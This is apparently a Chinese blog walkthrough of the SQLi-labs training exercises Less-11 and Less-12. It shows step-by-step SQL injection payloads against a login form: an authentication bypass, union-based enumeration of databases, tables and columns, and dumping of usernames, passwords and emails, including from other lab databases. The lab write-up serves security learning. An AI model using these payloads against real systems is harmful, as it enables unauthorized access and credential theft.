Less-11(POST-Error Based-Single Quotes-String)

打开Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。

万能密码

那么先尝试一下万能密码登录,用户名:admin' #、密码随便填一个:



从上图可以看出登陆成功,并且会回显账号和密码。

其他方法

判断注入

先随便尝试一个账号密码,uname=name & passwd=pass

显示登录失败,接着修改post包,加入引号看是否会报错.

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号。到此可以发现SQL语句的报错会显示在前端页面。

判断当前数据表列数

注入语句:uname=name' order by 1# & passwd=pass

当尝试到uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

判断回显位

注入语句:uname=name' union select 1,2 # & passwd=pass

判断数用户名和据库名

注入语句:uname=name' union select user(),database() # & passwd=pass



通过上述注入可以得知,当前数据库名为security,当前用户为root,接着找出这个数据库中的所有数据表。

确定当前数据库内表名

注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass



通过上述注入可以得知当前数据库中存在emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass



通过上述注入可以得知users表中存在三列,分别为idusernamepassword

确定users表中的用户名和密码

注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

到此,就得到了当前表中所有的用户名和密码。

跨数据库注入

通过上面的步骤可以看到当前用户是root用户,那么可以尝试爆其他数据库中的信息。

确定当前服务器上有哪些数据库

注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass



通过上述注入可以得知当前服务器中的数据库由:information_schemabWAPPchallengesdvwamysqlperformance_schemasecuritytest

确定bWAPP数据库中的数据表

注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass



上图中可以看出在bWAPP库中的表分别是blog,heroes,movies,users,visitors

确定users数据库中的列名

注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

可以看到users表中的列名为:id,login,password,email,secret,activation_code,activated,reset_code,admin

确定users表中的邮箱和密码

注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug

Less-12(POST-Error Based-Double Quotes-String-with twist)

通过注入uname=name" & passwd=pass发现SQL闭合符号为"),其余操作均与第11关相同。

确定回显位,其余操作不再赘述:

SQLI-LABS(Less-11、12)的更多相关文章

  1. 阅读<构建之法>第三10、11、12章并提出问题

    <构建之法>第10.11.12章 第10章: 问题:对我们了解了用户的需求后,但是我们想法和做出来的软件会和用户的需求有偏差,比如风格.界面的修饰等等,那么我们程序猿怎样才能让自己的想法更 ...

  2. 第11、12章等待方法和alter框处理

    11.等待方法 time sleep webdriver implicitly_wait() 设置浏览器等待时间 WebDriverWait 等待条件满足或超时后退出   12.alter对话框处理 ...

  3. 阅读<构建之法>第三10、11、12章

    第10章:典型用户和场景 阅读了第10章之后,我知道典型用户很重要,典型用户是某类群体的代表,他们的观点能够反映一类人的观点与对产品的要求,那么要怎么样才能够从一类群体里,选择正确的典型用户反映我们研 ...

  4. JavaScript高级程序设计(第三版)学习笔记11、12、17章

    章, DOM扩展 选择符 API Selector API Level1核心方法querySelector .querySelectorAll,兼容的浏览器可以使用 Document,Element  ...

  5. <构建之法>第11、12章

    第11章软件设计与实现 主要讲了典型的开发流程和开发阶段的一些管理方法 问题: 从spec道实现是代码的实现吗? 第12章 用户体验 主要讲了用户体验的各种角度和认识阻力登 问题: 用户的体验是设计前 ...

  6. 阅读<构建之法>第10、11、12章

    第10章 典型用户和场景 10.2 规格说明书 10.3 功能驱动的设计 问题:怎样写好spec?功能驱动设计的功能设计阶段怎样实现一个具体的功能? 第11章 软件设计与实现 11.2开发阶段的日常管 ...

  7. VMware Workstation Pro 11、12 密钥

    11:1F04Z-6D111-7Z029-AV0Q4-3AEH8 12:5A02H-AU243-TZJ49-GTC7K-3C61N

  8. TW实习日记:第11、12天

    这两天其实都在做一件事,项目组组长丢了个需求下来,要求完成一个百度地图api的页面.原本以为和之前写微信接口的类似,没想到这次问题这么多.并且在写代码的时候和组长交流不畅导致心情也很差,深刻的反思了一 ...

  9. 求出1~13的整数中1出现的次数,并算出100~1300的整数中1出现的次数?为此他特别数了一下1~13中包含1的数字有1、10、11、12、13因此共出现6次,但是对于后面问题他就没辙了。ACMer希望你们帮帮他,并把问题更加普遍化,可以很快的求出任意非负整数区间中1出现的次数。

    // test20.cpp : 定义控制台应用程序的入口点. // include "stdafx.h" include include include include inclu ...

  10. <构建之法>第三10、11、12章

    第十章 典型用户和场景 问题:如何更准确知道用户的需求是什么,设计出满足用户的软件? 第十一章 软件设计与实现 问题:软件设计过程中,如何管理设计变更? 第十二章 用户体验 问题:在何时开始设计用户体 ...

随机推荐

  1. .NET Core开发实战(第10课:环境变量配置提供程序)--学习笔记

    10 | 环境变量配置提供程序:容器环境下配置注入的最佳途径 环境变量的配置提供程序主要适应场景: 1.在 Docker 中运行时 2.在 Kubernetes 中运行时 3.需要设置 ASP.NET ...

  2. ABC 305

    题目列表 前三题过水,第四题分类讨论两个端点之间的距离和所在位置是清醒或睡眠 即可. E 题意:一张图上有一些结点有保安,每个保安有不同的警戒度 \(h_i\),定义 一个结点是安全的 为这个结点可以 ...

  3. CompletableFuture使用自定义线程池实现多任务结果聚合返回

    为什么要使用自定义线程池? 默认线程池缺点 1.CompletableFuture默认使用的线程池是 ForkJoinPool.commonPool(),commonPool是当前 JVM(进程) 上 ...

  4. cmake安装及报错解决办法

    安装 yum install cmake 报错 centOS8(x86_64 或 aarch64) 系统下 yum或dnf 默认安装的 cmake-3.18.2-11.el8版本,安装后无法使用,出现 ...

  5. Celery在Django项目中集成

    使用celery第一件要做的最为重要的事情是需要先创建一个Celery实例对象,我们一般叫做celery应用对象,或者更简单直接叫做一个app.app应用对象是我们使用celery所有功能的入口,比如 ...

  6. 【MongoDB】C# .Net MongoDB常用语法

    1.1.驱动安装 使用NuGet包管理器安装MongoDB C#驱动:MongoDB.Driver 1.2. C#连接MongoDB //获取MongoDB连接客户端 MongoClient clie ...

  7. 矩池云产品最新动态 All in One

    AI/ML 的不断革新,让我们看到了更多激动人心的应用方向,也迸发了更多的训练&应用场景. 在用户的反馈和建议下,矩池云持续丰富和优化在 AI+Science 链路上的相关产品,为了帮助研究人 ...

  8. 【Azure 应用服务】Azure Durable Function(持久函数)在执行Activity Function时候,因为调用函数名称错误而导致长时间无响应问题

    问题描述 在使用Azure Durable Function函数,调用函数链模式来调用多个Activity Function. 函数链:https://docs.azure.cn/zh-cn/azur ...

  9. 【Azure API 管理】APIM服务资源删除后,为什么不能马上创建相同名称的APIM服务呢?

    问题描述 使用Azure APIM服务,在删除旧资源准备新建相同名称的新APIM服务时,尝试多次都是出现"指定的服务名称已正在使用"错误.但实际上同名称的服务已经被删除.为什么多次 ...

  10. 【Azure 应用服务】在创建Web App Service的时候,选Linux系统后无法使用Mysql in App

    问题描述 如图上,是App Services在Windows环境中,系统自带了MySQL In App功能.而在,Linux环境中,没有发现Mysql in App功能,是不是无法在Linux中使用呢 ...